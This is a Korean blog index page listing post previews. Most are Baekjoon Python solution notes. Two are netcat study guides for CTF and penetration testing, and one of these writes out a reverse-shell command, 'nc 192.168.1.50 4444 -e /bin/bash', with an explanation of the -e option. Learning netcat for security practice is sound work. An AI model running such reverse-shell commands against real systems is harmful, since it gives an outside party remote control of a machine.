반응형

전체 글 45

백준 노트 정리 - map(int, input().split()) 이해하기

백준에서 파이썬 문제를 풀다 보면 a, b = map(int, input().split()) 같은 코드가 자주 쓰이는 걸 볼 수 있다오늘은 이 코드를 하나하나 자세히 풀어 설명하도록 하겠다 먼저 문제상황을 가정해보자 첫 번째 줄에 A(3), B(5) 가 공백을 사이에 두고 주어진다. 문제에선 가장 먼저 사용자에세 숫자를 받아와야하므로 input()함수를 사용해준다input()함수를 사용해 입력을 받아오면 우리는 "3 5"라는 문자열을 받게 된다 다음으로는 문자열 "3 5"를 "3" 과 "5"로 분리해야하기 때문에 우리는 split()함수를 이용할 것이다split()함수는 단순히 괄호안에 지정된 문자 기준으로 나뉜다고 생각하면 쉽다우리는 괄호 안에 아무것도 지정해주지 않았기 때문에 공백 기준으로 나뉠 ..

백준 파이썬 2025.11.10

해킹 공부 노트 - Netcat 사용법(심화편)

기본편에서는 netcat의 기본적인 리버스 셸과 바인드 셸 사용법을 알아보았다하지만 실전 환경(CTF, 침투 테스트)에서는 기본편에서 배운 명령어가 그대로 작동하지 않는 경우가 많다그렇기 때문에 오늘 글에서는 netcat을 사용하며 자주 겪는 문제들과 이에 대한 해결 방법을 다룰 것이다 《 문제상황 1 》- e 옵션이 작동하지 않을 때기본편에선 잠깐 나오고 제대로 된 설명이 없었기에 먼저 - e가 뭔지부터 설명하겠다- e는 기본적으로 특정 프로그램을 실행하고 그 프로그램의 입출력을 네트워크 연결로 리다이렉트한다고 생각하면 된다 쉽게 설명하자면 우리가 앞서 사용하였던 이 코드를 예시로 보면 된다 nc 192.168.1.50 4444 -e /bin/bash이 코드에선 - e를 통하여 bash의 입출력을 리다..

해킹 공부 노트 - Necat 사용법(기본편)

netcat이란 tcp나 udp 프로토콜을 사용하여 네트워크 연결을 만들고 데이터를 송수신할 수 있는 네트워킹 유틸리티이다쉽게 설명하자면 네트워크를 통해서 파일을 주고받거나 다른 컴퓨터와 상호작용할 수 있도록 도와주는 툴이다또한 netcat은 복잡한 명령줄이 필요 없어 직관적이고 초기정찰부터 데이터 추출까지 광범위한 사용이 가능하기 때문에 침투 테스터들에겐 필수인 도구이다 오늘은 간단하게 netcat의 사용법에 대해 실습을 하며 설명하도록 하겠다 먼저 netcat은 바인드 셸(공격자가 대상으로 연결)이나 리버스 셸(대상이 공격자로 연결)처럼 다양한 방법들로 연결이 가능하다(셸에 대한 기본적인 설명은 여기에 적어 두었다 https://unknown08.tistory.com/36 ) netcat을 아래의 두..

[백준] 2588번 : 곱 - [Python]

https://www.acmicpc.net/problem/25881. 문제 (세 자리 수) × (세 자리 수)는 다음과 같은 과정을 통하여 이루어진다.(1)과 (2)위치에 들어갈 세 자리 자연수가 주어질 때 (3), (4), (5), (6)위치에 들어갈 값을 구하는 프로그램을 작성하시오.2. 풀이이 문제는 첫 번째로 입력받은 숫자에 두 번째 숫자의 각 자릿수를 역순으로 곱해주는 방식으로 해결할 수 있다.이를 간단히 구현하기 위해 for 반복문을 사용했다.C나 Java에서는 for문 안에 i 이렇게 하면 두 번째 숫자의 길이(예: 3)가 3 → 2 → 1 순으로 감소하며 반복되고, 0에 도달하면 반복문이 종료된다.결과적으로 각 자릿수(일의 자리, 십의 자리, 백의 자리)에 대한 곱을 차례로 출력하고, 마지..

백준 파이썬 2025.11.07

[백준] 10430번 : 나머지 - [Python]

https://www.acmicpc.net/problem/104301. 문제 (A+B)%C는 ((A%C) + (B%C))%C 와 같을까?(A×B)%C는 ((A%C) × (B%C))%C 와 같을까?세 수 A, B, C가 주어졌을 때, 위의 네 가지 값을 구하는 프로그램을 작성하시오.2. 풀이먼저 문제의 예제를 보게되면 단순히 출력된 값을 보여준다즉 위의 문제에서 나오는 공식들을 print로 단순히 나열하는 문제이다 A, B, C의 값을 받기 위해 map(int input().split()) 식을 사용할 거다참고로 이 식은 대부분의 백준 문제에서 쓰이기 때문에 외워두면 좋다 (자세한 내용->) 다음으로는 그저 print 뒤에 문제에서 나온 공식들을 붙여넣기만 해주면 된다 3.코드A, B, C = map(..

백준 파이썬 2025.11.07
반응형